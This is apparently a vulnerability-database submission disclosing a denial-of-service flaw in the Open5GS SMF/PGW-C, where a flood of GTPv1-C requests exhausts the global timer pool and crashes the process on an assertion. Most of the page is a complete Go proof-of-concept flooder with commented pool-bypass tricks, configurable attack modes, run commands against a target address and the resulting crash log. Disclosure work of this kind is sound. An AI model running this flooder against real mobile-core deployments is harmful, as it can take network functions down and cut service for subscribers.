Submit #735340: Open5GS SMF v2.7.6 Denial of Serviceinfo

TitleOpen5GS SMF v2.7.6 Denial of Service
Description### CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Description SMF/PGW-C can be remotely crashed through GTPv1-C transaction flooding that exhausts the global timer pool. When a large number of GTPv1-C requests are sent to SMF/PGW-C, SMF creates many “remote transactions”. Each transaction allocates multiple timers (tm_response, tm_holding, tm_peer) from the global timer pool. Once the timer pool is exhausted, ogs_pool_alloc() failed Immediately after that, transaction creation hits an assertion: ogs_gtp_xact_remote_create: Assertion 'xact->tm_holding' failed, causing denial-of-service. ### Steps to reproduce 1. Start a new go project inside a new folder: go mod init poc 2. Create a `main.go` and paste the code below: ``` // Vuln-PC1-16 PoC: GTPv1 Timer Pool Exhaustion (Bypass V2) // Target: SMF (GTPv1-C Gn Interface) // // BYPASS STRATEGY V2: // 1. Fixed local port → reuse single GTP node (bypass GTP node pool) // 2. Same IMSI for all requests → reuse single UE (bypass UE pool) // 3. Different sequence numbers → create new transactions // 4. Each transaction allocates 3 timers from global timer pool // // Target assertions in ogs_gtp_xact_remote_create(): // - Line 195: ogs_assert(xact) - transaction pool // - Line 207: ogs_assert(xact->tm_response) - timer pool // - Line 214: ogs_assert(xact->tm_holding) - timer pool // - Line 219: ogs_assert(xact->tm_peer) - timer pool package main import ( "encoding/binary" "flag" "fmt" "log" "net" "sync/atomic" "time" ) const ( GTP1_CREATE_PDP_CONTEXT_REQ = 16 GTP1_UPDATE_PDP_CONTEXT_REQ = 18 GTP1_DELETE_PDP_CONTEXT_REQ = 20 ) var ( target = flag.String("target", "", "Target SMF IP (required)") port = flag.Int("port", 2123, "GTP-C port") localPort = flag.Int("local-port", 12123, "Fixed local port") count = flag.Int("count", 50000, "Number of requests") batchSize = flag.Int("batch", 500, "Batch size") batchDelay = flag.Duration("batch-delay", 10*time.Millisecond, "Delay between batches") timeout = flag.Duration("timeout", 180*time.Second, "Total timeout") mode = flag.String("mode", "update", "Attack mode: create, update, delete") ) var sentCount int64 func main() { flag.Parse() if *target == "" { log.Fatal("--target is required") } fmt.Println("================================================================") fmt.Println("Vuln-PC1-16 PoC: Timer Pool Exhaustion (BYPASS V2)") fmt.Println("================================================================") fmt.Printf("[*] Target: %s:%d\n", *target, *port) fmt.Printf("[*] Fixed Local Port: %d (bypass GTP node pool)\n", *localPort) fmt.Printf("[*] Request count: %d\n", *count) fmt.Printf("[*] Mode: %s\n", *mode) fmt.Println("[*] Strategy: Same IMSI → bypass UE pool → flood transactions") fmt.Println("[*] Target: ogs_gtp_xact_remote_create assertions (lines 195/207/214/219)") fmt.Println("----------------------------------------------------------------") localAddr := &net.UDPAddr{IP: net.ParseIP("x.x.x.x"), Port: *localPort} remoteAddr, _ := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *target, *port)) conn, err := net.DialUDP("udp", localAddr, remoteAddr) if err != nil { log.Fatalf("Connect failed: %v", err) } defer conn.Close() fmt.Printf("[*] Connected from %s\n", conn.LocalAddr()) done := make(chan struct{}) go func() { time.Sleep(*timeout) close(done) }() go func() { ticker := time.NewTicker(2 * time.Second) defer ticker.Stop() for { select { case <-done: return case <-ticker.C: fmt.Printf("[*] Sent %d messages...\n", atomic.LoadInt64(&sentCount)) } } }() startTime := time.Now() batchCount := 0 // Fixed IMSI - reuse same UE for all requests fixedIMSI := []byte{0x00, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0xF0} for i := 0; i < *count; i++ { select { case <-done: goto finish default: } seq := uint16(i % 65535) var msg []byte switch *mode { case "create": msg = buildCreatePDP(seq, fixedIMSI, i) case "update": // Update requests to existing session - creates new transaction msg = buildUpdatePDP(seq, uint32(0x12345678)) case "delete": msg = buildDeletePDP(seq, uint32(0x12345678)) default: msg = buildUpdatePDP(seq, uint32(0x12345678)) } _, err := conn.Write(msg) if err != nil { log.Printf("[!] Write error: %v", err) break } atomic.AddInt64(&sentCount, 1) batchCount++ if batchCount >= *batchSize { batchCount = 0 if *batchDelay > 0 { time.Sleep(*batchDelay) } } } finish: elapsed := time.Since(startTime) total := atomic.LoadInt64(&sentCount) fmt.Println("----------------------------------------------------------------") fmt.Printf("[+] Completed in %v, sent %d messages (%.0f/sec)\n", elapsed, total, float64(total)/elapsed.Seconds()) fmt.Println("[*] Check: docker inspect smf --format='{{.State.Status}}'") fmt.Println("[*] Check: docker logs smf --tail 100 2>&1 | grep -E 'assert|SIGABRT|xact'") } func buildGTPv1Header(msgType uint8, teid uint32, seq uint16, payloadLen uint16) []byte { h := make([]byte, 12) h[0] = 0x32 h[1] = msgType binary.BigEndian.PutUint16(h[2:4], payloadLen+4) binary.BigEndian.PutUint32(h[4:8], teid) binary.BigEndian.PutUint16(h[8:10], seq) return h } func buildCreatePDP(seq uint16, imsi []byte, index int) []byte { p := make([]byte, 0, 150) // IMSI (fixed - same UE) p = append(p, 2) p = append(p, imsi...) // Selection Mode p = append(p, 15, 0xFC) // TEID Data I (unique per request to create new bearer) p = append(p, 16) t := make([]byte, 4) binary.BigEndian.PutUint32(t, uint32(0x10000000+index)) p = append(p, t...) // TEID Control (unique) p = append(p, 17) binary.BigEndian.PutUint32(t, uint32(0x20000000+index)) p = append(p, t...) // NSAPI (cycle through 5-15) p = append(p, 20, byte(5+(index%11))) // End User Address p = append(p, 128, 0x00, 0x02, 0xF1, 0x21) // APN apn := "internet" p = append(p, 131, 0x00, byte(len(apn)+1), byte(len(apn))) p = append(p, []byte(apn)...) // SGSN addresses p = append(p, 133, 0x00, 0x04, 192, 168, 100, 1) p = append(p, 133, 0x00, 0x04, 192, 168, 100, 1) // MSISDN p = append(p, 134, 0x00, 0x07, 0x91, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) // QoS p = append(p, 135, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) // RAT Type p = append(p, 151, 0x00, 0x01, 0x06) h := buildGTPv1Header(GTP1_CREATE_PDP_CONTEXT_REQ, 0, seq, uint16(len(p))) return append(h, p...) } func buildUpdatePDP(seq uint16, teid uint32) []byte { p := make([]byte, 0, 50) // TEID Data I p = append(p, 16) t := make([]byte, 4) binary.BigEndian.PutUint32(t, 0x30000000+uint32(seq)) p = append(p, t...) // TEID Control p = append(p, 17) binary.BigEndian.PutUint32(t, 0x40000000+uint32(seq)) p = append(p, t...) // NSAPI p = append(p, 20, 5) // SGSN address p = append(p, 133, 0x00, 0x04, 192, 168, 100, 1) // QoS p = append(p, 135, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) h := buildGTPv1Header(GTP1_UPDATE_PDP_CONTEXT_REQ, teid, seq, uint16(len(p))) return append(h, p...) } func buildDeletePDP(seq uint16, teid uint32) []byte { p := make([]byte, 0, 10) // NSAPI p = append(p, 20, 5) // Teardown Ind p = append(p, 19, 0xFF) h := buildGTPv1Header(GTP1_DELETE_PDP_CONTEXT_REQ, teid, seq, uint16(len(p))) return append(h, p...) } ``` 3. Download required libraries: `go mod tidy` 4. Run the program with the SMF/PGW-C server address: `go run ./main.go --target x.x.x.x --count 30000 --batch 1000 \ --batch-delay 5ms --timeout 90s --mode create` ### Logs SMF ```shell 01/02 17:35:54.558: [event] FATAL: ogs_pool_alloc() failed (../lib/core/ogs-timer.c:84) 01/02 17:35:54.558: [gtp] FATAL: ogs_gtp_xact_remote_create: Assertion `xact->tm_holding' failed. (../lib/gtp/xact.c:214) 01/02 17:35:54.558: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37) /usr/local/lib/libogsgtp.so.2(+0x1aacf) [0x7e0cd0120acf] /usr/local/lib/libogsgtp.so.2(ogs_gtp1_xact_receive+0x4e4) [0x7e0cd01241fd] open5gs-smfd(+0x26990) [0x6146a922e990] /usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7e0cd100843f] open5gs-smfd(+0x105a7) [0x6146a92185a7] /usr/local/lib/libogscore.so.2(+0x119a3) [0x7e0cd0ff89a3] /lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7e0ccff13ac3] /lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7e0ccffa4a74 ``` ### Expected behaviour When timer pool (or other critical pools) is exhausted, SMF/PGW-C should gracefully reject/drop new transactions: return error response if applicable, or silently drop with warning, ### Observed Behaviour When SMF/PGW-C receiving a burst of GTPv1-C requests,it triggers: ogs_pool_alloc() failure in timer allocation ogs_assert(xact->tm_holding) in ogs_gtp_xact_remote_create, causing DoS ### eNodeB/gNodeB No ### UE Models and versions No
Source⚠️ https://github.com/open5gs/open5gs/issues/4235
User
 FrankyLin (UID 94345)
Submission01/09/2026 02:55 PM (1 month ago)
Moderation01/18/2026 02:37 PM (9 days later)
StatusDuplicate
VulDB entry341599 [Open5GS up to 2.7.5 Timer resource consumption]
Points0

Might our Artificial Intelligence support you?

Check our Alexa App!